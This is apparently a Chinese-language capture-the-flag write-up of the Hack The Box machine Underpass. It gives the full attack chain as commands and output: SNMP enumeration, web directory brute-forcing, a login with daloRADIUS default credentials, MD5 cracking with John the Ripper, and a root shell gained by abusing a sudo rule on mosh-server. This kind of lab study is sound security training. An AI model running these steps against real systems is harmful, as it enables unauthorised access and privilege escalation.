HTB Underpass 渗透测试详细记录
摘要
本文详细记录了对 HTB Underpass 的渗透测试过程。渗透测试从端口扫描开始,通过SNMP服务发现了关键信息,包括主机名和运行的服务。进一步探测发现目标运行daloRADIUS管理界面,通过破解获取的密码哈希值成功获取系统访问权限。最终利用mosh-server的sudo权限配置缺陷实现提权,获取完整系统控制权。
关键技术
- 信息收集: SNMP枚举(SNMPv1/public社区字符串)
- 目录枚举: Feroxbuster, Dirsearch扫描Web目录结构
- 密码破解: John the Ripper破解MD5哈希
- 权限提升: 利用sudo配置漏洞执行mosh-server提权
1. 初始侦察阶段
TCP端口扫描
首先执行快速TCP全端口扫描,使用min-rate
参数提高扫描速度:
nmap -sT -min-rate 10000 -p- 10.10.11.48
参数说明:
-sT
: 执行TCP连接扫描(全连接扫描)-min-rate 10000
: 设置最小发包速率为10000包/秒-p-
: 扫描所有65535个TCP端口
扫描结果显示两个开放端口:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
详细服务信息扫描
对发现的开放端口进行详细信息扫描:
nmap -sT -sCV -O -p 22,80 10.10.11.48
参数说明:
-sCV
: 组合参数,执行服务版本检测(-sV)和默认脚本扫描(-sC)-O
: 尝试识别目标操作系统-p 22,80
: 仅扫描这两个特定端口
扫描结果如下:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
UDP端口扫描
完成TCP扫描后,执行UDP端口扫描:
nmap -sU -min-rate 10000 -p- 10.10.11.48
参数说明:
-sU
: 执行UDP扫描- 其他参数同上
扫描结果显示开放的UDP端口:
PORT STATE SERVICE
161/udp open snmp
2. 服务探测与信息收集
Web服务初步探测
访问HTTP服务(80端口),发现是Apache默认页面。查看源代码未发现敏感信息。
目录枚举探测
使用feroxbuster进行目录枚举:
feroxbuster -u http://10.10.11.48 --methods GET,POST
参数说明:
-u http://10.10.11.48
: 指定目标URL--methods GET,POST
: 同时使用GET和POST方法测试
此次枚举未发现有价值信息。
SNMP服务深入探测
对发现的SNMP服务进行深入探测:
nmap -sU -sCV -p 161 10.10.11.48
参数说明:
-sU
: UDP扫描-sCV
: 服务版本和默认脚本-p 161
: 指定SNMP端口
结果揭示了关键信息:
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: c7ad5c4856d1cf6600000000
| snmpEngineBoots: 31
|_ snmpEngineTime: 53m21s
| snmp-sysdescr: Linux underwaterfriendsunderpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_ System uptime: 53m21.19s (320119 timeticks)
Service Info: Host: UnDerPass.htb is the only daloradius server in the basin!
SNMP完整枚举
执行SNMP枚举获取完整系统信息:
snmpwalk -v 1 -c public 10.10.11.48 .
参数说明:
-v 1
: 使用SNMPv1版本-c public
: 使用public社区字符串.
: 查询所有OID
从输出分析关键信息:
- 系统信息
STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
- 操作系统: Ubuntu Linux
- 内核版本: 5.15.0-126-generic
- 架构: x86_64 (64位)
- 编译日期: 2024年11月6日 - 比较新的系统
- 管理员信息
STRING: "steve@underpass.htb"
- 用户名 stevesteve
- 域名 underpass.htb
- 系统标识
STRING: "UnDerPass.htb is the only daloradius server in the basin!"
- 运行服务: daloRADIUS (RADIUS管理界面)
- 系统可能有Web服务接口
- 位置信息
STRING: "Nevada, U.S.A. but not Vegas"
- 运行在美国某个地方,虚构的
- 运行时间
Timeticks: (3430794) 9:31:47.94
- 已运行约9小时31分钟
- 启动参数
STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0"
- 使用LVM进行磁盘管理 (
/dev/mapper/ubuntu--vg-ubuntu--lv
) - 使用了特定的网络接口命名配置 (
net.ifnames=0 biosdevname=0
)
- 使用LVM进行磁盘管理 (
高价值信息分析
- 用户账户: steve - 可能是管理员用户
- 域名: underpass.htb - 确定了Web服务的可能访问地址
- 运行服务: daloRADIUS - 提供了具体的攻击目标
- 系统细节: Ubuntu系统,LVM配置 - 可能帮助后续渗透测试的信息
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (3430794) 9:31:47.94
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (3432229) 9:32:02.29
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 05 04 06 29 2E 00 2B 00 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 268
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB
3. 漏洞识别与初始访问
添加主机名解析
根据SNMP枚举获取的域名信息,添加hosts解析:
echo "10.10.11.48 UnDerPass.htb" >> /etc/hosts
再次进行目录爆破
feroxbuster -u http://underpass.htb --methods GET,POST
没有找到daloradius页面,尝试子域名爆破,也没有找到关键信息
ffuf -u http://10.10.11.48 -H "Host: FUZZ.underpass.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
在daloradius的github页面找到了可能的路径/var/www/daloradius
, https://github.com/lirantal/daloradius/blob/master/Dockerfile
针对性目录探测
基于daloRADIUS的信息,进行针对性目录探测:
feroxbuster -u http://underpass.htb/daloradius --methods GET,POST --no-recursion
发现多个有价值目录:
301 GET 9l 28w 319c http://underpass.htb/daloradius => http://underpass.htb/daloradius/
301 GET 9l 28w 323c http://underpass.htb/daloradius/app => http://underpass.htb/daloradius/app/
301 GET 9l 28w 329c http://underpass.htb/daloradius/app/users => http://underpass.htb/daloradius/app/users/
301 GET 9l 28w 333c http://underpass.htb/daloradius/app/operators => http://underpass.htb/daloradius/app/operators/
使用dirsearch进一步探测用户目录:
dirsearch -u "http://underpass.htb/daloradius/app/users/" -t 100
参数说明:
-u
: 指定目标URL-t 100
: 使用100个线程
成功发现登录接口:
[18:28:35] 200 - 2KB - /daloradius/app/users/login.php
研究项目文档获取默认凭据
通过GitHub项目文档 (https://github.com/lirantal/daloradius/blob/master/doc/install/INSTALL) 找到默认凭据:
Login:
username: administrator
password: radius
在管理员登录界面 (http://underpass.htb/daloradius/app/operators/login.php
) 使用默认凭据登录失败,继续爆破app目录。
feroxbuster -u http://underpass.htb/daloradius/app/ --methods GET,POST -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
找到另一个登陆接口 http://underpass.htb/daloradius/app/operators/login.php
使用上面的凭证登陆成功
破解用户密码
在用户管理页面 (http://underpass.htb/daloradius/app/operators/mng-list-all.php
) 发现用户密码的MD5哈希值: 412DD4759978ACFCC81DEAB01B382403
使用John the Ripper破解哈希:
echo '412DD4759978ACFCC81DEAB01B382403' >> md5
john md5 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
参数说明:
--wordlist=/usr/share/wordlists/rockyou.txt
: 使用rockyou字典--format=Raw-MD5
: 指定哈希格式为Raw-MD5
成功破解密码:underwaterfriends
4. 横向移动
SSH服务尝试
使用破解的密码尝试SSH登录:
ssh steve@underpass.htb # 登录失败
ssh svcMosh@underpass.htb # 登录成功
成功获取用户shell,读取user.txt:
svcMosh@underpass:~$ ls
user.txt
svcMosh@underpass:~$ cat user.txt
3faa2a7ba6203e6a*****************
5. 提权前的信息收集
检查sudo权限
检查当前用户可执行的sudo命令:
svcMosh@underpass:~$ sudo -l
结果显示:
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
用户svcMosh在系统上有一个非常具体的权限配置:
- 可以在不输入密码的情况下(NOPASSWD)以root权限运行
/usr/bin/mosh-server
命令 - 除此之外,没有其他命令被授权以root身份执行
- 系统配置了标准的安全设置(env_reset, mail_badpass等)
尝试mosh-server基本功能
执行mosh-server命令:
svcMosh@underpass:~$ /usr/bin/mosh-server
MOSH CONNECT 60001 LfCGtX7GBIri2oujNVbaTQ
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 5522]
根据信息在本地连接
MOSH_KEY=Gw7ewMV7nDOim148bh0TOA mosh --server="mosh-server" --port=60002 svcMosh@underpass.htb
但是得到的权限依旧是普通用户
svcMosh@underpass:~$ id
uid=1002(svcMosh) gid=1002(svcMosh) groups=1002(svcMosh)
尝试常规提权方法(尝试执行sudo -i
切换到root用户,然后启动mosh-server):
sudo -i
/usr/bin/mosh-server new -- /bin/bash
尝试失败,输出如下:
[sudo] password for svcMosh:
Sorry, user svcMosh is not allowed to execute '/bin/bash' as root on localhost.
这表明:
- 用户svcMosh没有权限通过sudo执行/bin/bash命令以root身份运行
- 这是一个重要的权限限制——svcMosh用户在 sudo 配置中被限制了可以执行的命令
尽管如此,mosh-server还是成功启动了,但是连接上去还是普通用户,继续尝试别的思路
6. 权限提升
利用mosh-server的sudo权限提权
构造创新命令:
svcMosh@underpass:~$ mosh --server="sudo /usr/bin/mosh-server" localhost
成功获取root权限:
root@underpass:~# ls
root.txt
root@underpass:~# cat root.txt
60032bc*************************
提权原理解析
- 命令解析:
mosh
是客户端程序--server="sudo /usr/bin/mosh-server"
指定了在远程主机上启动服务器的命令localhost
是要连接的主机
- 提权机制:
- 当命令被执行时,mosh客户端会通过SSH连接到localhost
- 连接后,它会执行
--server
参数中指定的命令,即sudo /usr/bin/mosh-server
- 由于 sudo 配置允许用户svcMosh在不输入密码的情况下以root权限运行
/usr/bin/mosh-server
,此命令被成功以root权限执行 - mosh-server启动后会创建一个新的shell会话,由于它是以root权限启动的,所以这个shell会话也继承了root权限
- 关键点:
- 通常mosh-server会降权运行,但通过在命令中添加sudo,强制它以root权限运行
- 由于 sudo 配置允许您执行这个特定命令,系统认为这是一个授权操作
- 这种方法绕过了之前尝试的
sudo -i
或直接获取bash的限制
- 为什么有效:
- sudo 配置只检查您是否被允许运行
/usr/bin/mosh-server
,而不会分析该命令的参数或后续行为 - mosh的设计是在远程主机上启动一个shell会话,当这个shell以root权限启动时,攻击者实际上获得了root 权限的shell
- sudo 配置只检查您是否被允许运行
这种提权方法利用了:
- sudo 配置的特殊性(只允许运行特定命令)
- mosh客户端的
--server
参数功能(允许指定如何启动服务器) - 权限传递机制(以root身份启动的进程会保持这些权限)
这是一个典型的"命令注入"或"权限升级"技术,它利用了被授权命令的灵活性来执行超出原始意图的操作。这也是为什么安全最佳实践建议在sudoers配置中尽可能具体地限制命令,包括其参数。
初学者如何理解这个命令
想象你有一把钥匙,这把钥匙只能打开学校的一个特定的门(比如图书馆的门),但你想进入校长办公室。
基本情况
首先,我们来了解一下背景:
- 你是普通用户 svcMosh
- 系统管理员只允许你用 sudo 运行一个特定的命令:
/usr/bin/mosh-server
- 你想获得 root(管理员)权限
命令的构造思路
-
观察你拥有的权限 你只能以 root 身份运行 mosh-server,但不能直接获得 root shell。这就像你只有图书馆的钥匙,但没有校长办公室的钥匙。
-
寻找工具的灵活性 Mosh 客户端有一个
--server
参数,它让你可以定义在远程主机上如何启动 mosh-server。这就像发现图书馆里有一条秘密通道可以通向校长办公室! -
创造性地组合权限和工具
通过命令
mosh --server="sudo /usr/bin/mosh-server" localhost
,你做了这些事:
- 连接到自己(localhost)
- 让 mosh 在连接时执行
sudo /usr/bin/mosh-server
- 因为你被允许以 root 身份运行这个命令,所以它成功了
- 现在你有了一个以 root 身份运行的 shell!
为什么能成功?
这个技巧之所以有效,是因为:
- 规则的字面解释:系统只检查你是否能运行
/usr/bin/mosh-server
,没有检查它的上下文 - 权限传递:以 root 权限启动的进程会保持这些权限
- 工具的设计意图:mosh 被设计为在远程主机上创建一个交互式会话,当你让它以 root 身份运行,你就获得了 root 会话
这就像利用"我可以进入图书馆"的权限,通过图书馆的秘密通道进入了校长办公室。你没有违反任何规则(你确实被允许使用那把钥匙),但你用它做了比原本设想更多的事情。
这种思维方式在安全测试和系统管理中非常重要:思考现有权限的创造性用途,以及它们如何相互作用来达成目标。
7. 总结
安全漏洞列表
- 信息泄露: SNMP服务使用默认community string (public),允许未授权枚举系统信息
- 凭据管理不当: 使用容易被破解的密码以及未更改默认管理员凭据
- 不安全的权限配置: sudoers配置允许特定用户以root权限运行特定程序,未限制参数
完整攻击链路图
- 侦察 → 发现开放端口(22/TCP, 80/TCP, 161/UDP)
- 枚举 → SNMP服务枚举获取主机名和服务信息
- 探测 → 发现daloRADIUS服务和登录界面
- 利用 → 使用默认凭据登录管理界面
- 横向移动 → 破解用户密码并SSH登录
- 权限提升 → 利用mosh-server的sudo权限获取root权限
攻击向量简明展示
端口扫描 → SNMP枚举 → 发现daloRADIUS → 使用默认凭据 → 获取密码哈希 → 破解密码 → SSH登录 → 利用sudo权限 → 获取root
各阶段关键点总结
- 侦察阶段: 全面的端口扫描(TCP+UDP)是发现关键入口点的基础
- 信息收集: SNMP服务配置不当导致关键信息泄露
- 漏洞利用: 使用默认凭据的风险以及密码强度不足的问题
- 权限提升: 创造性地利用sudoers配置的命令参数注入问题
结束语
本次渗透测试展示了我如何通过多个中低风险漏洞的组合,最终获取目标系统的完全控制权。关键在于创造性地利用获取的信息和现有权限,尤其是在提权阶段对sudo配置的巧妙利用。
Comments NOTHING